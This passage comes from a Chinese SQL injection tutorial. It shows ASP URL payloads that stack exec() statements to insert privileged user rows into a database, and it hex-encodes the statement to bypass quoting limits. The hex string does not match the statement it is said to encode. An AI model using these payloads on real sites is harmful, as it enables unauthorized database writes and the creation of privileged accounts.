细心的读者一定发现,我只插入了2个数值型,而没有插入字符型
1、插入int型
http://www.*.com/index.asp?fn=登录日志';exec('insert Test (ID,Privs) values(1,1)')--
select top 10 * from log where sysFunName='登陆日志';exec('Insert Test(ID,Privs) values(1,1)')--
2、插入字符型
http://www.*.com/index.asp?fn=登录日志';exec('insert Test (ID,username,password,Privs) values(1,'Test','123456',1)')--
select top 10 * from log where sysFunName='登陆日志';exec('Insert Test(ID,username,password,Privs) values(1,'Test','123456',1)')--
这么插入是不行的,语句不支持
那怎么办呢?
此时将引入黑客最常用的技术了,在sql的查询管理器中,输入一下语句,观察一下发生的变化
print cast(65 as varbinary)à0x00000041
print cast(‘A’ as varbinary)à0x41
print cast(0x41 as nvarchar)àA
print cast(0x4100 as nvarchar)àA
print cast(0x410000 as nvarchar)àA
print cast(0x41000000 as nvarchar)àA
0x表示十六进制,A的ASCII值为65,转化为16进制就是41,也就是0x41
看到这个,大家应该都明白了,就是把语句换为16进制写法。
提供一个简单的16进制转换函数
function change(flag)
dim charChange,allLen,i
allLen = len(flag)
for i = 1 to allLen
charChange = charChange&Hex(asc(mid(flag,i,1)))
next
change = charChange
End Function
将insert Test (ID,usernaem,password,Privs) values(1,'Test','123456',1)转化为16进制:
0x696E7365727420546573742849642C757365726E616D652C70617373776F7
2642C5072697673292076616C75657328322C276C697A757775272C27313
233343536272C3229
注意:中间不可有回车
于是,这么输入
http://www.*.com/index.asp?fn=登录日志';declare @S nvarchar(4000);set @s=Cast(
0x696E7365727420546573742849642C757365726E616D652C70617373776F7
2642C5072697673292076616C75657328322C276C697A757775272C27313
233343536272C3229 as varchar(500)
);exec(@S)--
程序将这么执行
select top 10 * from log where sysFunName='登录日志';declare @S nvarchar(4000);SET @S=CAST(0x696E7365727420546573742849642C757365726E616D652C70617373776F72642C5072697673292076616C75657328322C276C697A757775272C27313233343536272C3229 AS varchar(500));exec(@S)--m j
于是,插入一条数据完成。
下一节将讲述一个最常见的注入攻击例子